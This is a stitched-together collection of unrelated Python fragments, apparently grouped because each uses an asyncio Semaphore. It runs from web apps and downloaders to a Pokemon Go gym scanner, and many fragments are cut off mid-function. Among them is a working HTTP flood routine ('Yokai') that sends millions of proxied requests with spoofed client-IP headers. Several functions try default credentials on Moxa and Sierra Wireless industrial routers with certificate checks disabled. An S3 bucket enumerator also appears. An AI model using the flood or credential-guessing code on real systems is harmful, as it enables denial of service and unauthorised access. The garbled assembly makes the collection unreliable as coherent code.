async def create_app(settings=None):
settings = settings or Settings()
routes = [
web.get('/map.jpg', get_map, name='get-map'),
web.get('/', index, name='index'),
web.get('/robots.txt', robots, name='robots'),
]
middleware = (error_middleware,)
app = await create_default_app(settings=settings, routes=routes, middleware=middleware)
app['index_path'] = build_index()
app.update(
index_page=build_index(),
osm_semaphore=Semaphore(value=32),
thread_pool=ThreadPoolExecutor(),
)
app.on_cleanup.append(pool_shutdown)
return app
def __init__(self, tasks=(), *, wait=all):
if wait not in (any, all, object, None):
raise ValueError('invalid wait argument')
# Tasks that have not yet finished
self._pending = set()
# All non-daemonic tasks tracked by the group
self.tasks = set()
# All running deamonic tasks in the group
self.daemons = set()
# Non-daemonic tasks that have completed
self._done = deque()
self._wait = wait
self.joined = False
self._semaphore = Semaphore(0)
self.completed = None
for task in tasks:
self._add_task(task)
def __init__(self, manager):
self.log = get_logger('overseer')
self.workers = []
self.manager = manager
self.things_count = deque(maxlen=9)
self.paused = False
self.coroutines_count = 0
self.skipped = 0
self.visits = 0
self.coroutine_semaphore = Semaphore(conf.COROUTINES_LIMIT, loop=LOOP)
self.redundant = 0
self.running = True
self.all_seen = False
self.idle_seconds = 0
self.log.info('Overseer initialized')
self.status_log_at = 0
self.pokemon_found = ''
def get_symbols_data(self, symbols, rejected=set()):
async def get_contents(symbols, limiter):
coros = [
self.get_symbol_info(sym, limiter, rejected) for sym in symbols
]
contents = await asyncio.gather(*coros)
valid_contents = [c for c in contents
if c] # Filter only valid data
return valid_contents
loop = asyncio.get_event_loop()
limiter = Semaphore(MAX_REQUESTS_PER_SEC, loop=loop)
symbols_data = loop.run_until_complete(get_contents(symbols, limiter))
return symbols_data, rejected
async def Yokai(session):
url = Options.url
header = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;',
'Cache-Control': 'public, max-age=0',
'Content-Encoding': 'deflate',
'Connection': 'keep-alive',
'X-Remote-IP': '127.0.0.1',
'X-Remote-Addr': '127.0.0.1',
'X-Forwarded-For': '127.0.0.1',
'X-Client-IP': '127.0.0.1',
'X-Originating-IP': '127.0.0.1',
'X-Real-Ip': '127.0.0.1',
'CF-Connecting-IP': '127.0.0.1',
'True-Client-IP': '127.0.0.1',
'Via': '1.1 Chrome-Compression-Proxy',
'Host': Options.host
}
tasks = []
sem = Semaphore(Options.threads)
async def _call(i):
try:
kai = choice(Options.yokais)
header.update({
"User-Agent": choice(Options.ua)
})
server = "{}://{}".format(Options.v_type, kai)
async with session.get(url=url + Functions.Cache(), allow_redirects=True, ssl=True, proxy=server, headers=header) as response:
sem.release()
if i % 1000 == 0:
Functions.Success("Target: {} | Thread: {} | Status: {}".format(url, i, response.status))
except:
pass
for i in range(1, 10000000):
await sem.acquire()
task = ensure_future(_call(i))
task.add_done_callback(tasks.remove)
tasks.append(task)
await wait(tasks)
Functions.Success("Attack complete 10m of requests")
async def execute(
list_download_order: Iterable[DownloadOrder],
*,
limit: int = 5,
media_filter: Optional[MediaFilter] = None,
allow_http_status: List[int] = None) -> List[MediaDownloadResult]:
"""Downloads media in parallel."""
media_download_coroutine = MediaDownloadCoroutine(
MediaSaveCoroutine(media_filter=media_filter),
allow_http_status=allow_http_status)
semaphore = Semaphore(limit)
async with aiohttp.ClientSession() as client_session:
tasks = [
media_download_coroutine.execute(semaphore, client_session,
download_order)
for download_order in list_download_order
]
return await asyncio.gather(*tasks) # type: ignore
def bounded_gather(
*coros_or_futures,
loop: Optional[AbstractEventLoop] = None,
return_exceptions: bool = False,
limit: int = 4,
semaphore: Optional[Semaphore] = None,
) -> Awaitable[List[Any]]:
"""
A semaphore-bounded wrapper to :meth:`asyncio.gather`.
Parameters
----------
*coros_or_futures
The awaitables to run in a bounded concurrent fashion.
loop : asyncio.AbstractEventLoop
The event loop to use for the semaphore and :meth:`asyncio.gather`.
return_exceptions : bool
If true, gather exceptions in the result list instead of raising.
limit : Optional[`int`]
The maximum number of concurrent tasks. Used when no ``semaphore``
is passed.
semaphore : Optional[:class:`asyncio.Semaphore`]
The semaphore to use for bounding tasks. If `None`, create one
using ``loop`` and ``limit``.
Raises
------
TypeError
When invalid parameters are passed
"""
if loop is None:
loop = asyncio.get_event_loop()
if semaphore is None:
if not isinstance(limit, int) or limit <= 0:
raise TypeError("limit must be an int > 0")
semaphore = Semaphore(limit, loop=loop)
tasks = (_sem_wrapper(semaphore, task) for task in coros_or_futures)
return asyncio.gather(*tasks,
loop=loop,
return_exceptions=return_exceptions)
async def check_default_password(cls, router, semaphore=Semaphore()):
"""
Base method to check fo default credentials by using basic HTTP authentication schemes.
This method can be overwritten in order to support different authentication schemes.
Valid credentials are appended in the valid credentials attribute of each router object.
:param router: The router for which to check the credentials.
:param semaphore: Asyncio semaphore for limiting the concurrency level.
"""
uri = '{}://{}:{}/{}'.format(router.protocol, router.address, router.port, cls.url_path)
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.options &= ~ssl.OP_NO_SSLv3
async with semaphore:
for user, password in cls.default_credentials:
auth = aiohttp.BasicAuth(login=user, password=password)
async with aiohttp.ClientSession(timeout=ClientTimeout(20), auth=auth) as client:
try:
print('[+] Connecting to {}:{}'.format(router.address, router.port))
async with client.request('GET', uri, ssl=context) as response:
if response.status == 200:
router.valid_credentials.append((user, password))
logger.info(
'[+] Default credential worked for router {}:{}'.format(router.address,
router.port))
elif response.status == 401:
logger.info(
'[-] Default credential did not work for router {}:{}'.format(router.address,
router.port))
router.alive = True
except TimeoutError:
router.alive = False
logger.warning(
'[-] Unsuccessful connection to router {}:{}'.format(router.address, router.port))
except ConnectionRefusedError:
logger.warning(
'[-] Unsuccessful connection to router {}:{}'.format(router.address, router.port))
router.alive = True
except Exception:
logger.exception(
'[-] Unsuccessful connection to router {}:{}'.format(router.address, router.port))
router.alive = False
async def collect():
logger.debug('Connecting data from IPMA started')
tasks = list()
sem = Semaphore(limit_source)
async with ClientSession() as session:
for station in stations:
task = ensure_future(collect_bounded(station, sem, session))
tasks.append(task)
result = await gather(*tasks)
while False in result:
result.remove(False)
logger.debug('Collecting data from IPMA ended')
return result
async def get_photo(session: ClientSession, page_info: dict, user_name: str, tasks: dict = None) -> list:
semaphore = Semaphore(50)
posts = page_info['edges']
if tasks is None:
tasks = []
for image in posts:
node = image['node']
if node['is_video']:
resource = node['video_url']
file_format = 'mp4'
else:
resource = node['display_resources'][2]['src']
file_format = 'jpg'
print(resource)
task = asyncio.ensure_future(download_photo(session, semaphore, resource, user_name, file_format))
tasks.append(task)
if 'edge_sidecar_to_children' in node:
tasks += await get_photo(session, node['edge_sidecar_to_children'], user_name)
return tasks
async def async_main(conf):
async with AsyncExitStack() as stack:
session = await stack.enter_async_context(ClientSession())
stop_event = Event()
get_running_loop().add_signal_handler(SIGINT, stop_event.set)
get_running_loop().add_signal_handler(SIGTERM, stop_event.set)
send_report_semaphore = Semaphore(2)
check_tasks = []
try:
# create asyncio task for each configured check target
for target in conf.targets:
check_tasks.append(
create_task(
check_target(session, conf, target,
send_report_semaphore)))
await sleep(.1)
# all set up and (hopefully) running, now just periodically check
logger.debug('wait start')
stop_wait = create_task(stop_event.wait())
done, pending = await wait(check_tasks + [stop_wait],
return_when=FIRST_COMPLETED)
#logger.debug('wait done\ndone: %r\npending: %r', done, pending)
if not stop_event.is_set():
logger.debug('Some task(s) unexpectedly finished: %r', done)
for t in pending:
logger.debug('Cancelling %r', t)
t.cancel()
await wait(pending)
if not stop_event.is_set():
raise sys.exit(
'Some task(s) unexpectedly finished: {!r}'.format(done))
finally:
if all_tasks is not None:
logger.debug('Cleanup...')
remaining_tasks = [
t for t in all_tasks() if t is not current_task()
]
if remaining_tasks:
await sleep(0.1)
for t in remaining_tasks:
logger.debug('Cancelling %r', t)
t.cancel()
await wait(remaining_tasks)
async def main(start_page:int=1, last_page:int=15):
logging.basicConfig(level=logging.DEBUG)
tasks = []
base_url = input("Enter your base url: ")
param_key = input("Enter your param url key: ")
sem = Semaphore(10)
async with ClientSession() as session:
for i in range(0, last_page):
page = start_page + i
param = {param_key : page}
tasks.append(
asyncio.create_task(
fetch_with_sem(sem, base_url, session, param, page=page)
)
)
pages_content = await asyncio.gather(
*tasks
)
return pages_content
def bounded_gather_iter(
*coros_or_futures,
limit: int = 4,
semaphore: Optional[Semaphore] = None) -> Iterator[Awaitable[Any]]:
"""
An iterator that returns tasks as they are ready, but limits the
number of tasks running at a time.
Parameters
----------
*coros_or_futures
The awaitables to run in a bounded concurrent fashion.
limit : Optional[`int`]
The maximum number of concurrent tasks. Used when no ``semaphore``
is passed.
semaphore : Optional[:class:`asyncio.Semaphore`]
The semaphore to use for bounding tasks. If `None`, create one
using ``loop`` and ``limit``.
Raises
------
TypeError
When invalid parameters are passed
"""
loop = asyncio.get_running_loop()
if semaphore is None:
if not isinstance(limit, int) or limit <= 0:
raise TypeError("limit must be an int > 0")
semaphore = Semaphore(limit)
pending = []
for cof in coros_or_futures:
if isfuture(cof) and cof._loop is not loop:
raise ValueError("futures are tied to different event loops")
cof = _sem_wrapper(semaphore, cof)
pending.append(cof)
return as_completed(pending)
async def launch(self, overseer):
self.overseer = overseer
self.preload()
try:
await sleep(5)
log.info("Couroutine launched.")
log.info("WorkerRaider count: ({}/{})", len(self.workers),
self.workers_needed)
while True:
try:
while self.last_semaphore_value > 0 and self.last_semaphore_value == len(
self.workers) and not self.job_queue.empty():
priority_job = self.job_queue.get()
updated = priority_job[0]
job = priority_job[2]
log.debug("Job: {}", job)
if (time() - updated) < 30:
await sleep(1)
self.add_job(job)
continue
await self.coroutine_semaphore.acquire()
LOOP.create_task(self.try_point(job))
except CancelledError:
raise
except Exception as e:
log.warning("A wild error appeared in launcher loop: {}",
e)
worker_count = len(self.workers)
if self.last_semaphore_value != worker_count:
self.last_semaphore_value = worker_count
self.coroutine_semaphore = Semaphore(worker_count,
loop=LOOP)
log.info("Semaphore updated with value {}", worker_count)
await sleep(1)
except CancelledError:
log.info("Coroutine cancelled.")
except Exception as e:
log.warning("A wild error appeared in launcher: {}", e)
def main_sem():
"""有三个协程，但一时间之允许有一个协程http请求"""
loop = asyncio.get_event_loop()
print('loop start time:{}'.format(loop.time()))
sem = Semaphore(1) # 信号量值为1的信号量，同一时间只有一个，http请求
async def test(loop, sem, flag):
await sem.acquire() # 试图夺取信号量
async with aiohttp.ClientSession() as session:
html = await fetch(session, 'http://github.com/kagxin')
print("html len:{}, flag:{}, loop time:{}".format(
len(html), flag, loop.time()))
sem.release()
gs = asyncio.gather(*[test(loop, sem, f) for f in range(3)])
try:
loop.run_until_complete(gs)
finally:
loop.close()
"""
async def download():
tasks = list()
sem = Semaphore(limit)
async with ClientSession() as session:
for pair in ['AUDUSD']:
for year in [2014, 2015]:
for month in range(1, 12):
for day in range(1, monthlen(year, month)):
for hour in range(0, 23):
tasks.append(
ensure_future(
download_one(pair=pair,
year=str(year).zfill(2),
month=str(month).zfill(2),
day=str(day).zfill(2),
hour=str(hour).zfill(2),
session=session,
sem=sem)))
return await gather(*tasks)
def main(words, timeout, concurrency, output, use_db, only_public):
start = datetime.now()
loop = get_event_loop()
config = read_config()
database = config.get("database")
regions = config.get("regions") or [""]
separators = config.get("separators") or [""]
environments = config.get("environments") or [""]
url_list = {
f.format(
region=f"s3.{region}" if region else "s3",
word=word,
sep=sep if env else "",
env=env,
)
for f in format_list for region in regions for word in words
for sep in separators for env in environments
}
db = MongoDB(host=database["host"],
port=database["port"]) if use_db else None
sem = Semaphore(concurrency)
tasks = gather(*[find_bucket(url, timeout, db, sem) for url in url_list])
hits = filter(bool, loop.run_until_complete(tasks))
private, public = collect_results(hits)
if output:
json_result = {
**json_output_template(str(Access.PRIVATE), len(private), private, only_public),
**json_output_template(str(Access.PUBLIC), len(public), public, False),
}
output.write(dumps(json_result, indent=4))
logger.info(f"Output written to file: {output.name}")
stop = datetime.now()
logger.info(f"Complete after: {stop - start}")
async def check_default_password(cls,
router: BaseIndustrialRouter,
semaphore=Semaphore()):
"""
Method for checking for default passwords on Moxa Routers.
:param router: Input router object to check the credentials for.
:param semaphore: Asyncio semaphore for limiting the concurrency leve.
"""
uri = '{}://{}:{}/{}'.format(router.protocol, router.address,
router.port, cls.url_path)
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.options &= ~ssl.OP_NO_SSLv3
context.set_ciphers('HIGH:!DH:!aNULL')
async with semaphore:
async with aiohttp.ClientSession(
timeout=ClientTimeout(20)) as client:
try:
logger.info('[+] Connecting to router at {}'.format(
router.address))
async with client.request('GET', uri,
ssl=context) as response:
router.alive = True
content = str(await response.content.read())
if cls.valid_login_text_moxahttp_2_2 in content or cls.valid_login_text_moxahttp_1_0 in content:
router.valid_credentials.append(
('admin', 'no password'))
else:
if response.headers.get(
'Server') == 'MoxaHttp/1.0':
await cls.check_password_moxahttp_1_0(
client, context, content, router)
elif response.headers.get(
'Server') == 'MoxaHttp/2.2':
await cls.check_password_moxahttp_2_2(
client, context, content, router)
except:
logger.warning('[-] Connection to {} failed'.format(
router.address))
async def load_urls(self):
con = TCPConnector(verify_ssl=self.verify_ssl)
sem = Semaphore(100)
async with ClientSession(connector=con, conn_timeout=self.timeout) \
as session:
while self.depth >= 0:
tasks = []
urls = self.current_urls - self.visited_urls
logger.debug("Got %s url(s) to download." % len(urls))
for url in urls:
self.visited_urls.add(url)
tasks.append(
ensure_future(
process_url(sem, self.storage, url, session,
self.depth != 0)))
links = await gather(*tasks)
self.update_state(links)
self.storage.flush()
async def iterate_mem_txs(rest: RestClient,
mempool: Dict[str, Any],
max_concurrency: int = 3
) -> AsyncGenerator[Tuple[Task, set[Task]], Any]:
"""
Yield a Tx object for each mempool transaction, get prevout information from
UTXO set.
"""
async def get_full_tx(txid: str) -> Tx:
"""
Given an incomplete mempool transaction, asynchronously calls get_utxos/get_tx to
get prevout information for each transaction input.
"""
async def update_inputs(tx_input: Dict) -> None:
utxos: List[Dict[str, Any]] = (await rest.get_utxos(
f"{tx_input['txid']}-{tx_input['vout']}"))['utxos']
if not utxos:
# It's spending from another mempool transaction
utxo: Dict[str,
Any] = (await
rest.get_tx(tx_input['txid']
))['vout'][tx_input['vout']]
# No height
utxo['height'] = 0
else:
utxo = utxos[0]
tx_input['prevout'] = utxo
async with sem:
tx_ = await rest.get_tx(txid)
await gather(*map(update_inputs, tx_['vin']))
return Tx(tx_, height=0, date=0)
sem = Semaphore(max_concurrency)
# asyncio.wait does not accept a generator, but it does accept a map
pending = map(create_task, map(get_full_tx, mempool.keys()))
while pending:
done, pending = await wait(pending, return_when=FIRST_COMPLETED)
for tx_done in done:
yield tx_done, pending
def __init__(self, args: argparse.Namespace):
self.timeout = args.timeout
self.use_mpi = args.version.startswith("p")
self.ompthreads = args.ompthreads
self.mpiranks = args.mpiranks if self.use_mpi else 1
self.num_workers = int(args.maxtasks / self.ompthreads / self.mpiranks)
self.workers = Semaphore(self.num_workers)
self.cp2k_root = Path(__file__).resolve().parent.parent.parent
datestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
leaf_dir = f"TEST-{args.arch}-{args.version}-{datestamp}"
self.work_base_dir = self.cp2k_root / "regtesting" / leaf_dir
self.error_summary = self.work_base_dir / "error_summary"
self.keep_alive = args.keep_alive
self.arch = args.arch
self.version = args.version
self.debug = args.debug
self.max_errors = args.maxerrors
self.restrictdirs = args.restrictdir if args.restrictdir else [".*"]
cmd = "nvidia-smi --query-gpu=gpu_name --format=csv,noheader | wc -l"
self.num_gpus = int(
subprocess.run(cmd, shell=True, capture_output=True).stdout)
self.next_gpu = 0 # Used to assign devices round robin to processes.
def __init__(self, args: argparse.Namespace):
self.timeout = args.timeout
self.use_mpi = args.version.startswith("p")
default_ompthreads = 2 if "smp" in args.version else 1
self.ompthreads = args.ompthreads if args.ompthreads else default_ompthreads
self.mpiranks = args.mpiranks if self.use_mpi else 1
self.num_workers = int(args.maxtasks / self.ompthreads / self.mpiranks)
self.workers = Semaphore(self.num_workers)
self.cp2k_root = Path(__file__).resolve().parent.parent.parent
self.mpiexec = args.mpiexec.split()
self.keepalive = args.keepalive
self.arch = args.arch
self.version = args.version
self.debug = args.debug
self.max_errors = args.maxerrors
self.restrictdirs = args.restrictdir if args.restrictdir else [".*"]
self.skipdirs = args.skipdir if args.skipdir else []
datestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
leaf_dir = f"TEST-{args.arch}-{args.version}-{datestamp}"
self.work_base_dir = (args.workbasedir / leaf_dir if args.workbasedir
else self.cp2k_root / "regtesting" / leaf_dir)
self.error_summary = self.work_base_dir / "error_summary"
def run_with_capture_stdout(cmd: str) -> bytes:
# capture_output argument not available before Python 3.7
return subprocess.run(cmd, shell=True, stdout=PIPE,
stderr=DEVNULL).stdout
# Detect number of GPU devices, if not specified by the user
if args.num_gpus > 0:
self.num_gpus = args.num_gpus
else:
nv_cmd = "nvidia-smi --query-gpu=gpu_name --format=csv,noheader | wc -l"
nv_gpus = int(run_with_capture_stdout(nv_cmd))
amd_cmd = "rocm-smi --showid --csv | grep card | wc -l"
amd_gpus = int(run_with_capture_stdout(amd_cmd))
self.num_gpus = nv_gpus + amd_gpus
self.next_gpu = 0 # Used to assign devices round robin to processes.
async def check_default_password(cls, router: BaseIndustrialRouter, semaphore=Semaphore()):
"""
Method for checking credentials on Sierra Wireless Routers.
:param router: :class:`aztarna.industrialrouters.scanner.BaseIndustrialRouter` router to check.
:param semaphore: Asyncio semaphore for limiting concurrency level.
"""
url = '{}://{}:{}/xml/Connect.xml'.format(router.protocol, router.address, router.port)
headers = {'Accept': 'application/xml, text/xml, */*; q=0.01',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/xml',
'X-Requested-With': 'XMLHttpRequest'}
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.options &= ~ssl.OP_NO_SSLv3
context.set_ciphers('HIGH:!DH:!aNULL')
async with semaphore:
async with aiohttp.ClientSession(timeout=ClientTimeout(20), headers=headers) as client:
try:
for user, password in cls.default_credentials:
payload = '''<request xmlns="urn:acemanager">
<connect>
<login>{}</login>
<password><![CDATA[{}]]></password>
</connect>
</request>
'''.format(user, password)
logger.info('[+] Connecting to {}'.format(router.address))
async with client.post(url, data=bytes(payload, 'utf-8'), ssl=context) as response:
router.alive = True
content = str(await response.content.read())
if cls.failed_message not in content:
router.valid_credentials.append((user, password))
except Exception:
router.alive = False
logger.warning('[-] Connection to {} failed'.format(router.address))
def __init__(self, logger, clean=False, init_data=[]):
self.__path_user_files = os.environ.get("JUPYTER_SERVER_ROOT", "/home/ftp")
self.__path_naas_files = os.path.join(
self.__path_user_files, self.__naas_folder
)
self.__json_secrets_path = os.path.join(
self.__path_naas_files, self.__json_name
)
# self.__storage_sem = BoundedSemaphore(1)
self.__storage_sem = Semaphore(1)
self.__logger = logger
if not os.path.exists(self.__path_naas_files):
try:
print("Init Naas folder Jobs")
os.makedirs(self.__path_naas_files)
except OSError as exc: # Guard against race condition
print("__path_naas_files", self.__path_naas_files)
if exc.errno != errno.EEXIST:
raise
except Exception as e:
print("Exception", e)
if not os.path.exists(self.__json_secrets_path) or clean:
uid = str(uuid.uuid4())
try:
print("Init Job Storage", self.__json_secrets_path)
self.__save(uid, init_data)
except Exception as e:
print("Exception", e)
self.__logger.error(
{
"id": uid,
"type": "init_job_storage",
"status": "error",
"error": str(e),
}
)
def position_auth() -> Semaphore:
"""Synchronize position authorization requests to prevent starvation"""
return Semaphore(10)
def store_semaphore() -> Semaphore:
"""Synchronize the position to store in order to avoid starvation"""
return Semaphore(25)
def __init__(
self,
player_configuration: Optional[PlayerConfiguration] = None,
*,
avatar: Optional[int] = None,
battle_format: str = "gen8randombattle",
log_level: Optional[int] = None,
max_concurrent_battles: int = 1,
save_replays: Union[bool, str] = False,
server_configuration: Optional[ServerConfiguration] = None,
start_timer_on_battle_start: bool = False,
start_listening: bool = True,
team: Optional[Union[str, Teambuilder]] = None,
) -> None:
"""
:param player_configuration: Player configuration. If empty, defaults to an
automatically generated username with no password. This option must be set
if the server configuration requires authentication.
:type player_configuration: PlayerConfiguration, optional
:param avatar: Player avatar id. Optional.
:type avatar: int, optional
:param battle_format: Name of the battle format this player plays. Defaults to
gen8randombattle.
:type battle_format: str
:param log_level: The player's logger level.
:type log_level: int. Defaults to logging's default level.
:param max_concurrent_battles: Maximum number of battles this player will play
concurrently. If 0, no limit will be applied. Defaults to 1.
:type max_concurrent_battles: int
:param save_replays: Whether to save battle replays. Can be a boolean, where
True will lead to replays being saved in a potentially new /replay folder,
or a string representing a folder where replays will be saved.
:type save_replays: bool or str
:param server_configuration: Server configuration. Defaults to Localhost Server
Configuration.
:type server_configuration: ServerConfiguration, optional
:param start_listening: Whether to start listening to the server. Defaults to
True.
:type start_listening: bool
:param start_timer_on_battle_start: Whether to automatically start the battle
timer on battle start. Defaults to False.
:type start_timer_on_battle_start: bool
:param team: The team to use for formats requiring a team. Can be a showdown
team string, a showdown packed team string, of a ShowdownTeam object.
Defaults to None.
:type team: str or Teambuilder, optional
"""
if player_configuration is None:
player_configuration = _create_player_configuration_from_player(self)
if server_configuration is None:
server_configuration = LocalhostServerConfiguration
super(Player, self).__init__(
player_configuration=player_configuration,
avatar=avatar,
log_level=log_level,
server_configuration=server_configuration,
start_listening=start_listening,
)
self._format: str = battle_format
self._max_concurrent_battles: int = max_concurrent_battles
self._save_replays = save_replays
self._start_timer_on_battle_start: bool = start_timer_on_battle_start
self._battles: Dict[str, AbstractBattle] = {}
self._battle_semaphore: Semaphore = Semaphore(0)
self._battle_start_condition: Condition = Condition()
self._battle_count_queue: Queue = Queue(max_concurrent_battles)
self._battle_end_condition: Condition = Condition()
self._challenge_queue: Queue = Queue()
if isinstance(team, Teambuilder):
self._team = team
elif isinstance(team, str):
self._team = ConstantTeambuilder(team)
else:
self._team = None
self.logger.debug("Player initialisation finished")
def __init__(self, scribbler: Scribbler, crawler: Crawler):
self._scribbler = scribbler
self._crawler = crawler
self._semaphore = Semaphore(self._limit)
class WorkerRaider(Worker):
workers = []
gyms = {}
gym_scans = 0
skipped = 0
visits = 0
hash_burn = 0
workers_needed = 0
job_queue = PriorityQueue()
last_semaphore_value = workers_needed
coroutine_semaphore = Semaphore(len(workers), loop=LOOP)
def __init__(self,
worker_no,
overseer,
captcha_queue,
account_queue,
worker_dict,
account_dict,
start_coords=None):
super().__init__(worker_no,
overseer,
captcha_queue,
account_queue,
worker_dict,
account_dict,
start_coords=start_coords)
self.scan_delayed = 0
def needs_sleep(self):
return False
def get_start_coords(self):
return bounds.center
def required_extra_accounts(self):
return super().required_extra_accounts() + self.workers_needed
@classmethod
def preload(self):
log.info("Preloading forts")
with session_scope() as session:
forts = session.query(Fort) \
.options(joinedload(Fort.sightings)) \
.filter(Fort.lat.between(bounds.south, bounds.north),
Fort.lon.between(bounds.west, bounds.east))
try:
for fort in forts:
if (fort.lat, fort.lon) not in bounds:
continue
obj = {
'id': fort.id,
'external_id': fort.external_id,
'lat': fort.lat,
'lon': fort.lon,
'name': fort.name,
'url': fort.url,
'last_modified': 0,
'updated': 0,
}
if len(fort.sightings) > 0:
sighting = fort.sightings[0]
obj['last_modified'] = sighting.last_modified or 0
obj['updated'] = sighting.updated or 0
self.add_gym(obj)
except Exception as e:
log.error("ERROR: {}", e)
log.info("Loaded {} forts", self.job_queue.qsize())
@classmethod
def add_job(self, gym):
updated = gym.get('updated', gym.get('last_modified', 0)) or 0
self.job_queue.put_nowait((updated, random(), gym))
@classmethod
def add_gym(self, gym):
if gym['external_id'] in self.gyms:
return
self.gyms[gym['external_id']] = {'miss': 0}
self.workers_needed = int(ceil(conf.RAIDERS_PER_GYM * len(self.gyms)))
if len(self.workers) < self.workers_needed:
try:
self.workers.append(
WorkerRaider(worker_no=len(self.workers),
overseer=self.overseer,
captcha_queue=self.overseer.captcha_queue,
account_queue=self.overseer.extra_queue,
worker_dict=self.overseer.worker_dict,
account_dict=self.overseer.account_dict))
except Exception as e:
log.error("WorkerRaider initialization error: {}", e)
traceback.print_exc()
self.add_job(gym)
@classmethod
def obliterate_gym(self, gym):
external_id = gym['external_id']
if external_id not in self.gyms:
return
with session_scope() as session:
fort_id = get_fort_internal_id(session, external_id)
if not fort_id:
return
session.query(GymDefender).filter(
GymDefender.fort_id == fort_id).delete()
session.query(Raid).filter(Raid.fort_id == fort_id).delete()
session.query(FortSighting).filter(
FortSighting.fort_id == fort_id).delete()
session.query(Fort).filter(Fort.id == fort_id).delete()
del self.gyms[external_id]
FORT_CACHE.remove_gym(external_id)
log.warning("Fort {} obliterated.", external_id)
@classmethod
async def launch(self, overseer):
self.overseer = overseer
self.preload()
try:
await sleep(5)
log.info("Couroutine launched.")
log.info("WorkerRaider count: ({}/{})", len(self.workers),
self.workers_needed)
while True:
try:
while self.last_semaphore_value > 0 and self.last_semaphore_value == len(
self.workers) and not self.job_queue.empty():
priority_job = self.job_queue.get()
updated = priority_job[0]
job = priority_job[2]
log.debug("Job: {}", job)
if (time() - updated) < 30:
await sleep(1)
self.add_job(job)
continue
await self.coroutine_semaphore.acquire()
LOOP.create_task(self.try_point(job))
except CancelledError:
raise
except Exception as e:
log.warning("A wild error appeared in launcher loop: {}",
e)
worker_count = len(self.workers)
if self.last_semaphore_value != worker_count:
self.last_semaphore_value = worker_count
self.coroutine_semaphore = Semaphore(worker_count,
loop=LOOP)
log.info("Semaphore updated with value {}", worker_count)
await sleep(1)
except CancelledError:
log.info("Coroutine cancelled.")
except Exception as e:
log.warning("A wild error appeared in launcher: {}", e)
@classmethod
async def try_point(self, job):
try:
point = (job['lat'], job['lon'])
fort_external_id = job['external_id']
updated = job.get('updated', job.get('last_modified', 0)) or 0
point = randomize_point(point,
amount=0.00003) # jitter around 3 meters
skip_time = monotonic() + (conf.SEARCH_SLEEP)
worker = await self.best_worker(point, job, updated, skip_time)
if not worker:
return
async with worker.busy:
visit_result = await worker.visit(point, gym=job)
if visit_result == -1:
self.hash_burn += 1
await sleep(1.0, loop=LOOP)
point = randomize_point(
point, amount=0.00001) # jitter around 3 meters
visit_result = await worker.visit(point, gym=job)
if visit_result:
if visit_result == -1:
miss = self.gyms[fort_external_id]['miss']
miss += 1
self.gyms[fort_external_id]['miss'] = miss
raise GymNotFoundError(
"Gym {} disappeared. Total misses: {}".format(
fort_external_id, miss))
else:
if worker and worker.account and 'gym_nothing_seen' in worker.account:
del worker.account['gym_nothing_seen']
self.gyms[fort_external_id]['miss'] = 0
now = int(time())
worker.scan_delayed = now - updated
job['updated'] = now
self.visits += 1
else:
if worker and worker.account:
username = worker.username
account_miss = worker.account.get(
'gym_nothing_seen', 0)
account_miss += 1
worker.account['gym_nothing_seen'] = account_miss
else:
username = None
account_miss = 1
raise NothingSeenAtGymSpotError(
"Nothing seen while scanning {} by {} for {} times.".
format(fort_external_id, username, account_miss))
except CancelledError:
raise
except (GymNotFoundError, NothingSeenAtGymSpotError) as e:
self.skipped += 1
if worker:
worker.log.error('Gym visit error: {}', e)
if isinstance(e, GymNotFoundError):
miss = self.gyms[fort_external_id]['miss']
if miss >= 10:
self.obliterate_gym(job)
if isinstance(e, NothingSeenAtGymSpotError):
if worker and worker.account:
account_miss = worker.account.get('gym_nothing_seen', 0)
await sleep(account_miss * 5, loop=LOOP)
except Exception as e:
self.skipped += 1
log.exception('An exception occurred in try_point: {}', e)
finally:
if fort_external_id in self.gyms:
if 'updated' in job:
job['updated'] += 5
self.add_job(job)
self.coroutine_semaphore.release()
@classmethod
async def best_worker(self, point, job, updated, skip_time):
while self.overseer.running:
gen = (w for w in self.workers if not w.busy.locked())
worker = None
try:
worker = next(gen)
lowest_speed = worker.travel_speed(point)
except StopIteration:
lowest_speed = float('inf')
for w in gen:
speed = w.travel_speed(point)
if speed < lowest_speed:
lowest_speed = speed
worker = w
time_diff = max(int(time() - updated), 0)
speed_factor = (1.0 + (time_diff / 10))
speed_limit = (conf.SPEED_LIMIT * speed_factor)
if worker and lowest_speed < speed_limit:
worker.speed = lowest_speed
return worker
if skip_time and monotonic() > skip_time:
return None
await sleep(conf.SEARCH_SLEEP, loop=LOOP)
async def fetch_device_configs(
self,
on_config: Callable[[Dict, str], Awaitable[None]],
since_ts: int,
all_configs: Optional[bool] = False,
before_ts: Optional[int] = None,
filters: Optional[Dict] = None,
device_filter: Optional[Callable[[Dict], bool]] = None,
sanitized: Optional[bool] = False,
batch_sz: Optional[int] = 1,
dry_run: Optional[bool] = False,
) -> List[Dict]:
"""
This coroutine is used to download the latest copy of devices in the
active snapshot. The default behavior is to locate the lastest device
configuration since the `since_ts` time for all devices.
If the Caller needs to "go back in time" then both the `since_ts` and
`before_ts` values should be used and only devices that match:
since_ts <= lastChange <= before_ts
If the Caller would like to further filter records based on 'hostname',
'sn' (serial-number), those filters can be provided in the `filters`
parameter.
Parameters
----------
since_ts:
The timestamp criteria for retrieving configs such that lastChecked
is >= since_ts. This value is the epoch timestamp * 1_000; which is
the IP Fabric native storage unit for timestamps.
all_configs:
When False (default) this coroutine will fetech only those
configurations that have _changed_. Use all_configs=True when you
want to fetch the configs regardless if they have changed or not.
on_config:
A coroutine that will be invoked with the device record and
configuration file content that allows the Caller to do
something with the content such as save it to a file.
filters:
Any additional Caller provided API filters that should be applied in
addition to using the `since_ts` and `before_ts` options. This
filters dictionary allows the caller to be more specific, for
example regex of hostnames. The filters only apply to the fields to
extact the backup record hashs; which primarily include ['sn',
'hostname', 'status']
device_filter:
The Caller can optionally provide a function used to filter if the
provided device-hash record should be used or not to retrieve the
device configuration. This parameter is useful for cases where the
Caller wants to limit the device configuration retrival based on
